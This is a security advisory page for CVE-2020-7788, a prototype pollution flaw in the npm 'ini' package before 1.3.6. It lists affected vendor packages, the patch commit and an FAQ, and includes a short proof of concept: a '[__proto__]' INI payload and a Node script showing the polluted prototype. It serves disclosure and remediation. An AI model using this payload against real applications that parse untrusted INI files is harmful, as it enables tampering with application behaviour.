critical
9.8
CWE
1321 400
Advisory Published
Advisory Published
CVE Published
Updated

CVE-2020-7788: Prototype Pollution

First published: Tue Dec 08 2020(Updated: )

### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

Credit: report@snyk.io report@snyk.io

Affected SoftwareAffected VersionHow to fix
npm/ini<1.3.6
1.3.6
redhat/nodejs-nodemon<0:2.0.19-1.el9_0
0:2.0.19-1.el9_0
redhat/rh-nodejs14-nodejs<0:14.15.4-2.el7
0:14.15.4-2.el7
redhat/rh-nodejs12-nodejs<0:12.20.1-1.el7
0:12.20.1-1.el7
redhat/rh-nodejs12-nodejs-nodemon<0:2.0.3-1.el7
0:2.0.3-1.el7
redhat/rh-nodejs10-nodejs<0:10.23.1-2.el7
0:10.23.1-2.el7
redhat/rh-nodejs14-nodejs-nodemon<0:2.0.3-5.el7
0:2.0.3-5.el7
redhat/rh-nodejs12-nodejs<0:12.22.5-1.el7
0:12.22.5-1.el7
redhat/rh-nodejs12-nodejs-nodemon<0:2.0.3-5.el7
0:2.0.3-5.el7
Ini Project Ini<1.3.6
Debian Debian Linux=9.0
redhat/nodejs-ini<1.3.6
1.3.6
IBM Cloud Pak for Security (CP4S)<=1.6.0.1
IBM Cloud Pak for Security (CP4S)<=1.6.0.0
IBM Cloud Pak for Security (CP4S)<=1.5.0.1
IBM Cloud Pak for Security (CP4S)<=1.5.0.0
IBM Cloud Pak for Security (CP4S)<=1.4.0.0

Remedy

https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1

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Reference Links

Parent vulnerabilities

(Appears in the following advisories)

Frequently Asked Questions

  • What is CVE-2020-7788?

    CVE-2020-7788 is a Prototype Pollution vulnerability in the `ini` npm package.

  • How severe is CVE-2020-7788?

    CVE-2020-7788 has a severity rating of 9.8 (critical).

  • Which software packages are affected by CVE-2020-7788?

    The `ini` npm package before version 1.3.6 is affected, as well as certain versions of `nodejs-ini`, `nodejs-nodemon`, `rh-nodejs14-nodejs`, `rh-nodejs12-nodejs`, `rh-nodejs12-nodejs-nodemon`, and `rh-nodejs10-nodejs`.

  • How can CVE-2020-7788 be fixed?

    To fix CVE-2020-7788, upgrade to version 1.3.6 of the `ini` package.

  • Where can I find more information about CVE-2020-7788?

    More information about CVE-2020-7788 can be found at the following references: [GitHub](https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1), [npm](https://www.npmjs.com/advisories/1589), [Snyk](https://snyk.io/vuln/SNYK-JS-INI-1048974).

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